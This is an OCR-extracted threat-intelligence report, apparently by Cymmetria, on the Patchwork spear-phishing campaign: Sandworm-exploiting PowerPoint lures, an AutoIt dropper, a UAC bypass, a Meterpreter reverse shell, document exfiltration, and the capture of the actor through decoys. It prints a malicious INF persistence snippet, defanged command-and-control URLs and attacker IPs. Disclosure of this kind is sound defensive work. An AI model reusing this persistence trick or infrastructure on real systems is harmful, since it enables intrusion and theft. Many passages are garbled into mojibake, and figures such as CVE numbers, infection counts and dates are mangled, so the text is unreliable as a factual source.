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EXECUTIVEUMMARY

Patchwork is a targeted attack that has infected an estim&&@0machines since it was first
observed in Decembe&015 There are indications of activity as early2844, but Cymmetria has
not observed any such activity first hand

Patchwork targets were chosen worldwide with a focus on personnel working on military and
political assignments, and specifically those working on issues relating to Southeast Asia and the
South China Sea. Many of the targets were governments and govermelated organizations

What makes this report special is that Patchwork is the first targeted threat captured using a
commercial deception product. Through the use of deception campaigns created with

/I 8YYSGONARF Q& all SwdzyySNE ¢S 6SNBE Fo6ftS (G2 OF G40OK
as lateral movement activity

The code used by this threat actor is copy THRERT AETER WRBKING HOURS

pasted from various online forums, in a way

that reminds us of a patchwork qudthence — eyt
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In active victim systems, Patchwork N ]/””f
immediately searches for and uploads B
documents to their C&C, and only if the
target is deemed valuable enough, proceed
to install a more advanced second stage

malware.
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Itis impossible to reach clear attribution  w wlw w w o o = o =lx v o w = v v |oie wl o - -
from the information available. We have

included an attribution section in this
document to document our research efforts
in this regard.
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Attackeroperating times that overlap with a
standard9am-7pm workday (darker means
larger volume)
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BREADCRUMBS SERVICES DECOYS
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THE INVESTIGATION
OVERVIEW

The attack was detected as part of a spear phishing against a government organization in Europe
in late May2016 The target was an employee working on Chinese policy research and the attack

vector was a PowerPoint presentation file. The content of the presentation was on issues relating
to Chinese activity in the South China Sea.

Is China's assertiveness in the South
China Sea likely to affect Australia’s
national interests over the next ten years?

Screenshot of the first slide from one of the infected presentations

After the presentation is opened, the vulnerability highlighted by QUVE+4114is exploited.
This is a well documented vulnerability commonly called Sandworm, which only works on
unpatched versions of Microsoft Office PowerPd&003and2007.

Once the exploit worked, it deployed the first stage payload: a compitgdlIt script. This script
then bypassed UAC using a known method called UACME, the code for which was taken from an
online forum.

TINDETECTABLES RAT V.0.8.31 AUTONT BETA
n s

[ Indetectables Rat v.0.8.3 |

Screenshot of theAutolt malware publication forum post

Lhttp:// www.indetectables.net/viewtopic.php?f&&t=5226 Rsid=k6fe274a4e8934ceblf 3fc90cd35aa2
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With higher privileges, the first stage payload RowerSploito download code to run a reverse
shell withMeterpreter ¢ the RAT of the well knowietaSploitframework.

The next stage was exfiltration of document files that are also used to validate the value of the
infection. If the infected system was deemed valuable enough, the threat actor then infected the
target host with a second stage payload, which was once again a module built from code taken
from various online forums an@sources

sysvolinfo.exe as
CVE-2014-4114 parameter; contains a
(aka: SandWorm) driver.inf as parameter compiled Autolt script

| Sysvolinfo.exe is waiting Server sends

....... »  forthe server to send a windows/

PowerShell script meterpreter/
reverse_https

module

Infected PPS | ------- > InfDefaultinstall.exe | ------- > Runonce.exe

v

7zip.exe @runanan | Meterpreter T | Privilege Escalation

Threat actor exfiltrates UAC bypass

infected computer, vulnerability executes
determines that it is the PowerShell script
interesting, and deploys

second stage malware

Flowchart of infection stages

Since the threat had already been detected and stopped, our goal was to discover as much as we
could about the threat actor. Specifically, we were interested in tools, techniques, and

procedures (TTPs), so that we would be able to detect the threat in case it succeeded in gaining a
F220K2f R St aSgKSNB Ay Odzali2YSNEQ |aasSdaod [ SN
us to prevent the threat actor from launching another operation targeted at our customer, as

well as prevent them from launching similar attacks against other customers in the future.

Our investigation proceeded on two fronts:

1.28 o6daAfd F RSOSLIWA2Y OF YLI A3y
while the operation was still active.
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HUNTING THE ATTACKER WITH A DECEPTION CAMPAIGN

Ly 2NRSNJ (G2 OFLIGdINE GKS IddlFO1SNDRa aSO2yR afil
behavior in the network (lateral movement), we created a realistic environment in which to hunt

the threat actor. We did so by using Cymmetria’'s MazeRunner solution to deploy a deception
campaign. A deception campaign is essentially a story comprised of breadcrumbs and decoys; it
leads attackers to believe that they have successfully gained access to antagehe.

Breadcrumbsre pieces of data that lead an attacker to another machine; these could be stored
credentials, open shares, browser cookies, VPN configurations, and bexeysare full

operating systems running on virtual machines that act as real anavailgie targets for an
attacker; breadcrumbs point to decoys, which are fully monitored for any attacker interaction

o€
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The campaigd s KA OK Ol y 06S T 2 dzy R GigHyh wasbltcSititheTsgecifiw S & S I NJ
profile of the active target. MazeRunner captured all the forensic data associated with the threat,

so we knew that the threat actor followed the breadcrumbs and activated all the stages of their

attack. MazeRunner allowed us to see all of the network traffic, operating system changes, and

lateral movement the threat actor performed.

Thisis the first time, to our knowledge, that an APT (or more aptly, a targeted attack) has been
deceived and captured by a deception solution that caused the threat actor to follow
breadcrumbs and attack decqysltimatelyleading to the disclosure of the operation.

@cymmetris

e 3408, vk 21168 CF /0

BREADCRUMBS SERVICES DECOYS

The decepion campaign that caught the APT
GETTING STARTED

As mentioned in the previous section, our first order of business was verifying that the operation
was still active, and then creating a deception campaign around it to catch the second stage
malware and discover and mitigate other TTPs being used by the threat actor. To this end, we
created a target in the form of a profile for a person in whom the threat actor was interested. We
then constructed a deception campaign based on that profile. In this case, the person was a
member of a government think tank dealing with security issues.

A network around the infected endpoint was created using MazeRunner:

A SMB shares were created on decoys, and mapped on the target laptop, to play the part of
network backups.

A Further, RDP credentials were deployed on the laptop to lead to a service running on a decoy
system in the cloud.

B® Administrator: C\Windows\system32\cmd.exe [F=8 o ==
Mi [TE 6.1.76881]
pyright Corporation. HAll rights reserved.

mi»

: Metwork
The command completed

Caslizers™s

SMBbreadcrumb leading to the file server decoy
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I Credential Manages - o x

4 @ > Control Panel * User Accounts * Credential Manager v 2

Control Panel Hor
""""""" " Manage your credentials

View and delete your saved logon information for websites, connacted applications and networks

%Mcmﬁtﬁ ?MM

Windows Credentials

y Windows. credential
rersry [ woditied: I

RDPBreadcrumb that leads to a cloudecoy

CHAIN OF EVENTS

1. The PowerPoint PPS file was opened, which in turn dropped the initial payload components.
The exploit used was C\2B144114(Sandworm).

[Version]

Signature = “S$CHICAGOS"

class=61883
ClasGuid={2EB87RBCD-7488-12T1-QYXX~74521ACV1AS4}
DriverVer=0/21/2006,61.7600.16385
[DestinationDirs]

DefaultDestDir = 1

[DefaultInstall)

AddReg = RxStart

[RxStart]

HKLM, Software\Microsoft\Windows\CurrentVersion\RunOnce, Install, ,%1%\sys
volinfo.exe

Driver.inf content

2. Theendpoint was infected with the followingxecutables:
A sysvolinfo.exe ¢ Autoltcompiledscript.

A PowerShelteverse shell HTTR&eterpreter scriptc Was pulled from the server
and was executed using the followirgguests:

A 212[] 129.13.110 / dropper.php?profile =<base64 of
[ username@computernamg>

A hxxps:// 45[.] 43.192.172 : 8443/0OxGN

3. Filesfrom the target laptop were being uploaded by the threat actor to the control server,
alongside significant activity on the encryption channel. We did not monitor the SSL encrypted
OKFYyySt> Ay 2NRSNI (2 | O23sRagdbrifysstoaitA 2y Ay OF a S
option was used

4. Thethreat actor decided to drop the second stage malwaiap.exe , onto the infected

endpoint. The tool scanned the hard disk, and talked ®R[.] 83.191.156 .

5. It copied itself ametvmon.exe into C:\ Windows SysWO&4\ netvmon.exe and added
that path to the startup programs. This is how tinieeat actor achieves persistence

o€
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6. Threedays following the initial infection, alerts were received on the decoy running the SMB
shared folder indicating access by the threat actor.

7. Themalware accessed the mapped share that was deployed as a breadcrumb on the infected
laptop while scanning all the drives for files. The actual function that caused the alert was
GetDriveTypeAwnhich is called to assure that only fixed drives are traversed).

8. Afterthe first alerts in the system were generated, we saw connection attempts to our cloud

RSO2& @Al w5t®d® ¢KA& RSO2&éQa&a Lt | RRNBaa ¢ta L
target laptop Thealerts originated fron212[.] 129.7.146 , and the entire event lasted for
12 minutes.

9. The alerts we received MazeRunneimdicated that the attackers failed to log in several
times, which makes us believe that they pulled the RDP connection file (breadcrumb) that was

A X 4 oA

2y GKS AYyFSOUGUSR RS&1id2L» LG Aa AyiSNBadGaAy3a i
mimikatz(which would have enabled them to connect to the cloud decoy with ease).

10. We believe this connection was carried out by the same threat actor because:
A ThelP they used to connect to our decoy also belongetoponeytelecom.eu
A Theevent took place on the same day we received the alerts on our internal system.

Thisshows that the threat actor was deceived irgxfiltratingdata, deploying their second
stage persistence tool, and using the breadcrumbs that we left on the infected laptop.
Furthermore, if they had useshimikatz they also would have succeeded in connecting to our

cloud decoy and be encouraged to deploy other, later stage tools.
_h g

Backup filz server decoy

Cloud backup file
server decoy
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Infected laptop Router Firewall MazeRunner

Endpoint2 decoy

—— Untouched Connections
—  Threat Actor Attack Path
—————»  Exfiltration

........ » CRC Endpoint3 decoy

Network layout
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INTELLIGENCE Lb95 Cwha ¢1 9 '/ ¢hwQ{ [ 3/
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command and control servers. The server contained a multitude of additional files:

A Anabundance of PPS fileghe spear phishing infecting files

A Additionalmalicious code packages
azald 2F (KS & cihternfivdsIdirecilykelayed to EhinelStéd Qubjects, or
pornographic imature. Someexamples of the spear phishing PPS attachment files used by the
threat actor.

2015 A PIVOTAL YEAR FOR CHINA’S
CYBER ARMIES
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EXEERERENEEFRIL.

Fromthe C&C server, we also extracted the dates on which the PPS lures were last modified;
these dates ranged from DecemliZd15to January2016 The dates were grouped together and
then plotted. The resulting graph is a good indication of times at which we believe the attackers

prepared and carried out their attack

Numberof PPS edits bgate

2 We have nodirect proof of this, but information from several partners suggests that stolen documents
are being actively repurposed for spear phishing purposes.
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